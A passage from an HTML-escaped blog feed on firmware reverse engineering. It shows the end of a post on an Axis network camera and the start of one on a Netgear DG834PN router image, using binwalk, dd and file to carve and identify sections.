id=&quot;lnum19&quot; style=&quot;color: #606060;&quot;&gt;  19:&lt;/span&gt; drwxr-xr-x  2 root root     0 2010-10-25 14:42 proc/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum20&quot; style=&quot;color: #606060;&quot;&gt;  20:&lt;/span&gt; drwx------  2 root root     0 2010-10-25 14:42 root/&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum21&quot; style=&quot;color: #606060;&quot;&gt;  21:&lt;/span&gt; drwxr-xr-x  2 root root     0 2006-03-17 13:04 sbin/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum22&quot; style=&quot;color: #606060;&quot;&gt;  22:&lt;/span&gt; drwxr-xr-x  2 root root     0 2010-10-25 14:42 share/&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum23&quot; style=&quot;color: #606060;&quot;&gt;  23:&lt;/span&gt; drwxr-xr-x  2 root root     0 2010-10-25 14:42 sys/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum24&quot; style=&quot;color: #606060;&quot;&gt;  24:&lt;/span&gt; lrwxrwxrwx  1 root root     7 2010-10-25 14:42 tmp -&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt; var/tmp&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum25&quot; style=&quot;color: #606060;&quot;&gt;  25:&lt;/span&gt; drwxr-xr-x 11 root root     0 2010-10-25 14:42 usr/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum26&quot; style=&quot;color: #606060;&quot;&gt;  26:&lt;/span&gt; drwxr-xr-x  2 root root     0 2010-10-25 14:42 var/&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum27&quot; style=&quot;color: #606060;&quot;&gt;  27:&lt;/span&gt; -rw-r--r--  1 root root 30720 2010-10-25 14:42 &lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;var&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;tar&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum28&quot; style=&quot;color: #606060;&quot;&gt;  28:&lt;/span&gt; root@system:/media/jffs2&lt;span style=&quot;color: green;&quot;&gt;# &lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Until next time !&lt;br /&gt;
&lt;br /&gt;
Html files and cgi content for further analysis,&amp;nbsp;&lt;a href=&quot;http://chaos.deventum.com/axis.html.tar.gz&quot;&gt;axis&lt;/a&gt; </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/6703534639449866802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/08/firmware-reversing-axis-network-camera.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/6703534639449866802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/6703534639449866802'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/08/firmware-reversing-axis-network-camera.html' title='firmware reversing Axis network camera AXIS M1031-W'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-2614960167867989678</id><published>2011-08-17T21:17:00.004+03:00</published><updated>2011-08-17T21:33:45.504+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="firmware reversing"/><title type='text'>firmware reversing : Netgear DG834PN</title><content type='html'>Another approach with a different firmware this time, I choose netgear’s DG834PN wireless dsl routers’ firmware. The firmware, DG834PN_V1.03.39.img can be found at netgear’s website for download. &lt;br /&gt;
Starting as before, I used binwalk to identify the sections on the image. &lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; height: 218px; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# binwalk DG834PN_V1.03.39.img &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;,courier,monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; DECIMAL         HEX             DESCRIPTION&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; -------------------------------------------------------------------------------------------------------&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; 4177            0x1051          LZMA compressed data, properties: 0xA4, dictionary size: 285474816 bytes, uncompressed size: 256 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 7951            0x1F0F          LZMA compressed data, properties: 0xC2, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; 8087            0x1F97          LZMA compressed data, properties: 0x82, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; 8227            0x2023          LZMA compressed data, properties: 0xC2, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; 8371            0x20B3          LZMA compressed data, properties: 0x82, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; 10563           0x2943          LZMA compressed data, properties: 0xDF, dictionary size: 555220992 bytes, uncompressed size: 167272448 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 65792           0x10100         Squashfs filesystem, big endian, version 2.0, 3226978 bytes, 1227 inodes, blocksize: 65536 bytes, created: Thu Aug 14 07:06:38 2008&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; 2639186         0x284552        bzip2 compressed data&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; 2643350         0x285596        bzip2 compressed data&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; 2659059         0x2892F3        bzip2 compressed data&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; 2683869         0x28F3DD        bzip2 compressed data&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; 2885101         0x2C05ED        bzip2 compressed data&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; 2916750         0x2C818E        bzip2 compressed data&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt; 2927300         0x2CAAC4        bzip2 compressed data&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Many lzma headers one squashfs and some bzip2 compressed data. The squashfs partition should be the filesystem located on the router, the lzma data should contain the loader, so how about the bzip2 compressed data…&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Starting ( wrong as proven later ) from the bzip2 headers, I thought of extracting the last part to check on the data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=DG834PN_V1.03.39.img bs=1 skip=2927300 of=unknown.bz2&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 1021244+0 records &lt;span style=&quot;color: blue;&quot;&gt;in&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 1021244+0 records &lt;span style=&quot;color: blue;&quot;&gt;out&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 1021244 bytes (1.0 MB) copied, 112.083 s, 9.1 kB/s&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
running “file” command on the extracted contents the command responds identifying the data as proper bzip2 compressed file.&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# file unknown.bz2 &lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; unknown.bz2: bzip2 compressed data&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
but this is not correct, &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# bunzip2 unknown.bz2 &lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; bunzip2: unknown.bz2 &lt;span style=&quot;color: blue;&quot;&gt;is&lt;/span&gt; not a bzip2 file.&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
“file” command will identify any file containing “BZh.” header in the start as bzip2 compressed document, an example below will demonstrate it. A text file with the name false_bz is created and the “file” command identifies it as bzip2 compressed data.&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# echo &lt;span style=&quot;color: #006080;&quot;&gt;&quot;BZh.test&quot;&lt;/span&gt; &amp;gt; false_bz&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; root@system:~/DG834PN# file false_bz &lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; false_bz: bzip2 compressed data&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
So this is definitely not the way to go. The sections are not properly identified. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Back to the start then, hexdump and strings commands will be proven again valuable and I believe that’s the proper way to start always.&lt;br /&gt;
&lt;br /&gt;
